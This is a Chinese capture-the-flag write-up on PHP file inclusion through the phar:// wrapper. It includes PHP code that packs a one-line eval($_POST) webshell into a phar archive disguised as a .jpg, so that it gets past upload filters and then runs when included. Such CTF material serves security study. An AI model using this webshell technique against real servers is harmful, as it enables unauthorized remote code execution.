本题考点
phar伪协议实现文件包含
做题过程
- 注意观察,首先给出了一个链接,点进去后可以发现两个页面都存在
//index.php
,而且 url 多了一个参数bingdundun
,疑似文件包含,改成?bingdundun=index
试试
-
可以发现直接套娃起来了,那么可以推测出是在后面加上
.php
,然后进行文件包含。 -
接着上传 shell 文件试试,bp 抓包 fuzz 后可以发现对文件后缀名有严格限制,而且也不能上传配置文件,那么既不能上传 php 文件,也不能包含非 php 文件( \x00 的截断在 php>5.3.4 就没用了,而且还要考虑 GPC ,所以是比较鸡肋的方法)。其实我们可以通过 zip 协议和 phar 协议来包含文件。这道题似乎 zip 协议包含不成功。
-
zip 应该很多人都知道,但 phar 是什么?phar ( php archive ) 是 PHP 里类似于 jar ( java archive ) 的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么 .phar 后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而
phar://
的伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。 -
因此先要生成一个压缩包文件,这里就有两个方向,一是生成zip文件,可以直接将一句话木马压缩为 .zip 文件;二是生成 phar 文件
注意:默认phar扩展是只读模式,需要手动配置php.ini中phar.readonly= Off
且无法用ini_set修改
-
先了解一手 phar 文件格式:
-
stub
是phar文件的文件头,格式为...<?php ...;__HALT_COMPILER();?>
,...
可以是任意字符,包括留空,且 php 闭合符与最后一个分号之间不能有多于一个的空格符。另外 php 闭合符也可省略。包含在 php 代码块中的语句在 phar 文件被包含时被执行。最短省略闭合符的stub是__HALT_COMPILER();?>
。前面的内容是没有限制的,也就是说我们可以构造一个图片文件或者 pdf 文件来绕过上传的限制,将这个phar
文件上传上去。<?php $phar = new Phar('demo.phar'); $phar->setStub('<?php echo \'in stub!\';__HALT_COMPILER();?>'); include('phar://demo.phar'); ?> // in stub!
-
manifest describing the contents
存放着压缩文件的信息,每个被压缩文件的权限,属性等信息都放在这里,这里还会以序列化的形式存储着用户自定义的meta-data
。phar
文件存储meta-data
时会先将内容序列化后再存入进去,当文件操作函数通过phar://
伪协议解析phar
文件时就会先将数据反序列化,这样就可以构成反序列化攻击。这里是phar
反序列化攻击最核心的地方,但对这道题没有帮助。 -
the file contents
:被压缩文件的内容,这里写入一句话木马,但对 phar 反序列化攻击没有帮助 -
signature
:可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL
-
-
如何生成一个 phar 文件?phar类提供对phar文件的操作,具体可以参考这篇博客
-
这里给出参考代码,运行后可在目录下发现生成的 shell.phar 文件,为了绕过上传文件后缀名限制,需要修改文件名为 shell.jpg
<?php $payload = '<?php eval($_POST["root"]); ?>'; // 一句话木马 $phar = new Phar("shell.phar"); // 后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub $phar->addFromString("1.php", "$payload"); // 添加要压缩的文件 // $phar->setMetadata(...); // 在metadata添加内容,可参考 phar反序列化,此处用不着,故注释 $phar->stopBuffering(); ?>
-
上传后利用phar://伪协议读取文件,因为phar伪协议不看后缀名,主要看标识来判定,因此可以改成任意后缀。
-
phar文件同理,都要注意后缀名会自动加上.php